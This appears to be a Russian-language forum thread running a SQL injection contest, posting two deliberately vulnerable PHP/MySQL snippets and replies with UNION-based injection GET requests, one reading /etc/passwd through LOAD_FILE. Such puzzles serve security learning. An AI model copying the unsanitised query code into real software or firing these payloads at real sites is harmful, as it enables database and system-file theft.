Конкурс на знание SQL-инъекций

Итак, суть конкурса — найти в нижеприведенном коде SQL-инъекцию и реализовать ее наглядное применение в виде GET-запроса. Тот, кто придумает самое интересное решение, тот молодец :-)

Уязвимый код

<?php
$id = $_GET['id'];
$query_string = "SELECT * FROM users WHERE id=$id";
$result = mysql_query($query_string);

if (mysql_num_rows($result)) {
    print_r(mysql_fetch_assoc($result));
}   
?>

После пережевывания данной задачи, будет выложен еще какой-нибудь высер на php.

http://<url>.php?id=-1+union+select+username+from+users+where+id=1+--+

P.S. Слишком легко. Еще.

http://<url>.php?id=-1+union+select+username+from+users+where+id=1+--+

Да. Но этот запрос выполнится, если в таблице users будет только один единственный столбец. На практике, нужно сначала узнать количество столбцов, выбираемых в *. Но принцип понятен.

В следующем примере нужно вывести список всех пользователей системы, из-под которой запущен сервер MySQL. Пусть это будет Debian Linux 6.

<?php

$param = $_GET['param'];
$rslt = mysql_query("SELECT id, text, author FROM posts WHERE author='$param' ORDER BY id LIMIT 1");

if (mysql_num_rows($rslt)) {
    $post = mysql_fetch_assoc($rslt);
    echo $post['text'];
}

?>

Хм..

http://<url>.php?param=-1'+union+select+1,LOAD_FILE('/etc/passwd'),3+--+

Как-то так. Это при условии, что магические кавычки отключены.

Ты проверял?

Нет, но думаю, что это заработает.

Внимание! Это довольно старый топик, посты в него не попадут в новые, и их никто не увидит. Пишите пост, если хотите просто дополнить топик, а чтобы задать новый вопрос — начните новый.

Ответить

Вы можете использовать разметку markdown для оформления комментариев и постов. Используйте функцию предпросмотра для проверки корректности разметки.

Пожалуйста, оформляйте исходный код в соответствии с правилами разметки. Для того, чтобы вставить код в комментарий, скопируйте его в текстовое поле ниже, после чего выделите то, что скопировали и нажмите кнопку «код» в панели инструментов. Иначе ваш код может принять нечитаемый вид.

Либо производите оформление кода вручную, следующим образом:

``` #include <iostream> using namespace std; int main() { // ... } ```

Предпросмотр сообщения

Ваше сообщение пусто.